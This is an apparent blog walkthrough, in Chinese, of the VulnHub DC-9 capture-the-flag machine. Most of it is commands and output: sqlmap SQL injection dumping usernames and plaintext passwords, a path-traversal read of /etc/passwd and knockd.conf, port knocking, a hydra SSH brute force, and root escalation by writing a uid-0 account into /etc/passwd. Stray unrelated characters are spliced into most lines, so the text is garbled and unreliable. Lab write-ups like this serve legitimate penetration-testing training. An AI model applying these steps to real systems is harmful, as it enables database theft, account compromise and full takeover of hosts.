靶機(jī)下載地址:https://download.vulnhub.com/dc/DC-9.zip
靶機(jī)描述:DC-9 是另一個(gè)專門構(gòu)建的易受攻擊的實(shí)驗(yàn)室扛门,旨在獲得滲透測試領(lǐng)域的經(jīng)驗(yàn)暇昂。這一挑戰(zhàn)的最終目標(biāo)是獲得root,并閱讀唯一的flag政敢。
涉及漏洞:SQL注入、LFI
攻擊機(jī):Kali/192.168.0.104
一、信息收集
1.探測目標(biāo)
$ sudo arp-scan -l
或者
$ sudo netdiscover -i eth0
2.查看目標(biāo)開放端口
$ sudo nmap -sV -p 0-6553 192.168.0.105
目標(biāo)靶機(jī)開放了80端口,22端口顯示被過濾掉了
3.查看網(wǎng)頁相關(guān)信息
使用瀏覽器插件Wappalyzer
,這個(gè)插件可以檢測網(wǎng)站的CMS应民,框架,服務(wù)器等信息,
但是沒有檢測到CMS信息
二诲锹、漏洞查找與利用
1.SQL注入
在頁面發(fā)現(xiàn)一個(gè)search框繁仁,可以查詢用戶信息,與數(shù)據(jù)庫有交互归园,猜測可能存在SQL注入黄虱,隨便輸入數(shù)據(jù)查詢,URL框沒有改變庸诱,說明是POST方式提交捻浦,Burp抓包檢測是否存在SQL注入的可能
可以看出確實(shí)存在POST型SQL注入,網(wǎng)站應(yīng)該對(duì)注入做了一些應(yīng)對(duì)措施桥爽。過濾啊朱灿,屏蔽報(bào)錯(cuò)啊
居然存在注入,話不多說钠四,直接上SQLmap跑
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" --dbs
available databases [3]:
[*] information_schema
[*] Staff
[*] users
--data:指定的數(shù)據(jù)會(huì)被作為POST數(shù)據(jù)提交
發(fā)現(xiàn)Staff和users數(shù)據(jù)庫盗扒,先看看users庫中有什么
users數(shù)據(jù)庫
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users --tables
Database: users
[1 table]
+-------------+
| UserDetails |
+-------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D users -T UserDetails --dump
Database: users
Table: UserDetails
[17 entries]
+----+------------+---------------+---------------------+-----------+-----------+
| id | lastname | password | reg_date | username | firstname |
+----+------------+---------------+---------------------+-----------+-----------+
| 1 | Moe | 3kfs86sfd | 2019-12-29 16:58:26 | marym | Mary |
| 2 | Dooley | 468sfdfsd2 | 2019-12-29 16:58:26 | julied | Julie |
| 3 | Flintstone | 4sfd87sfd1 | 2019-12-29 16:58:26 | fredf | Fred |
| 4 | Rubble | RocksOff | 2019-12-29 16:58:26 | barneyr | Barney |
| 5 | Cat | TC&TheBoyz | 2019-12-29 16:58:26 | tomc | Tom |
| 6 | Mouse | B8m#48sd | 2019-12-29 16:58:26 | jerrym | Jerry |
| 7 | Flintstone | Pebbles | 2019-12-29 16:58:26 | wilmaf | Wilma |
| 8 | Rubble | BamBam01 | 2019-12-29 16:58:26 | bettyr | Betty |
| 9 | Bing | UrAG0D! | 2019-12-29 16:58:26 | chandlerb | Chandler |
| 10 | Tribbiani | Passw0rd | 2019-12-29 16:58:26 | joeyt | Joey |
| 11 | Green | yN72#dsd | 2019-12-29 16:58:26 | rachelg | Rachel |
| 12 | Geller | ILoveRachel | 2019-12-29 16:58:26 | rossg | Ross |
| 13 | Geller | 3248dsds7s | 2019-12-29 16:58:26 | monicag | Monica |
| 14 | Buffay | smellycats | 2019-12-29 16:58:26 | phoebeb | Phoebe |
| 15 | McScoots | YR3BVxxxw87 | 2019-12-29 16:58:26 | scoots | Scooter |
| 16 | Trump | Ilovepeepee | 2019-12-29 16:58:26 | janitor | Donald |
| 17 | Morrison | Hawaii-Five-0 | 2019-12-29 16:58:28 | janitor2 | Scott |
+----+------------+---------------+---------------------+-----------+-----------+
這里是那些員工這賬號(hào)和密碼,后面可能會(huì)用到缀去,先放著侣灶,然后我們?cè)倏纯碨taff庫里面有啥
Staff數(shù)據(jù)庫
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff --tables
Database: Staff
[2 tables]
+--------------+
| StaffDetails |
| Users |
+--------------+
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T StaffDetails --dump
sqlmap -u "http://192.168.0.105/results.php" --data "search=1" -D Staff -T Users --dump
#dump完密碼的時(shí)候會(huì)提示你是否解密md5,你選擇SQLmap自帶的字典就可以跑出明文密碼
得到用戶名和密碼:admin/transorbital1然后使用這個(gè)用戶去站點(diǎn)登錄
2.本地文件包含LFI
登錄后多了Add Record和Manage
頁面,在Manage
的下面發(fā)現(xiàn)了一句話File does not exits
朵耕,猜測可能存在文件包含漏洞,猜測文件參數(shù)是file
?file=../../../../etc/passwd
果然存在LFI漏洞,接下來是fuzz
一下系統(tǒng)文件
[圖片上傳失敗...(image-9da6e3-1593651884334)]
發(fā)現(xiàn)了/etc/knockd.conf
炫隶,這就和之前nmap
掃描靶機(jī)運(yùn)行了SSH服務(wù),但是狀態(tài)是filtered
對(duì)應(yīng)起來了阎曹,因?yàn)?code>knockd可以對(duì)SSH進(jìn)行防護(hù)
3.端口敲門
knockd
字面意思是敲伪阶,只是這里敲的是端口
,而且需要按照順序‘敲’端口处嫌。如果敲擊規(guī)則匹配栅贴,則可以讓防火墻實(shí)時(shí)更改策略。從而達(dá)到開關(guān)防火墻的目的熏迹。
更多詳細(xì)請(qǐng)看:
看一下/etc/knockd.conf
文件中的自定義端口
有3個(gè)自定義端口7469檐薯,8475,9842
,根據(jù)Port-knocking
的規(guī)則依次訪問這三個(gè)端口就可以打開SSH服務(wù)了
sudo nmap -p 7469 192.168.0.105
sudo nmap -p 8475 192.168.0.105
sudo nmap -p 9842 192.168.0.105
或者安裝knockd
knock 192.168.0.105 7469 8475 9842
現(xiàn)在我們看一哈ssh服務(wù)被敲開沒有
sudo nmap -p 22 192.168.0.105
不出所料SSH服務(wù)被成功敲開
4.hydra爆破SSH賬戶
將前面所爆出來的那些員工的賬號(hào)和密碼編寫成兩個(gè)字典注暗,進(jìn)行ssh爆破
username.txt | password.txt |
---|---|
hydra -L username.txt -P password.txt ssh://192.168.0.105
爆破出來有3個(gè)用戶可用坛缕,chandlerb\UrAG0D!
、joeyt\Passw0rd
捆昏、janitor\Ilovepeepee
依次登錄3個(gè)用戶赚楚,最終在用戶janitor
的目錄下找到了隱藏文件
ssh chandlerb@192.168.0.105
UrAG0D!
ssh joeyt@192.168.0.105
Passw0rd
ssh janitor@192.168.0.105
Ilovepeepee
.secrets-for-putin
隱藏文件中有一個(gè)可讀文件,打開后這好像是存放的用戶密碼骗卜,然后把這些密碼再加進(jìn)剛剛我們編寫的password.txt
字典中重新再爆破一次看看
爆破出了一個(gè)新的用戶號(hào):fredf\B4-Tru3-001
三宠页、提升權(quán)限
使用fredf
用戶登錄靶機(jī)
ssh fredf@192.168.0.105
B4-Tru3-001
列出sudo權(quán)限的命令左胞,這里發(fā)現(xiàn)fred用戶在NOPASSWD
的情況下可以使用root權(quán)限運(yùn)行這個(gè)test文件
sudo -l
嘗試運(yùn)行,發(fā)現(xiàn)它是一個(gè)python文件
使用find查找test.py文件
find / -name test.py 2>/dev/null
2>/dev/null 代表忽略掉錯(cuò)誤提示信息举户。
查看test.py
py文件的含義為:讀取參數(shù)1的內(nèi)容烤宙,然后將參數(shù)1的內(nèi)容寫入到參數(shù)2的內(nèi)容中。
那我們可以構(gòu)造一個(gè)root權(quán)限用戶俭嘁,將該用戶信息寫入文件內(nèi)躺枕,將改文件作為參數(shù)1,/etc/passwd
作為參數(shù)2兄淫,這樣就創(chuàng)建了一個(gè)root權(quán)限用戶屯远,就能實(shí)現(xiàn)提權(quán)了
構(gòu)造參數(shù)1
openssl passwd -1 -salt admin 123456
-1 的意思是使用md5加密算法
-salt 自動(dòng)插入一個(gè)隨機(jī)數(shù)作為文件內(nèi)容加密
admin 123456 用戶名和密碼
根據(jù)/etc/passwd
的格式,修改一下捕虽,然后存入一個(gè)文件里,這個(gè)文件就是參數(shù)1
echo 'admin:$1$admin$LClYcRe.ee8dQwgrFc5nz.:0:0::/root:/bin/bash' >> /tmp/passwd
# 用戶名:密碼:uid:gid:家目錄:登陸后使用的shell
sudo ./test /tmp/passwd /etc/passwd
su admin
cd /root
ls
cat theflag.txt
前往我的個(gè)人博客看更多:https://jwt1399.top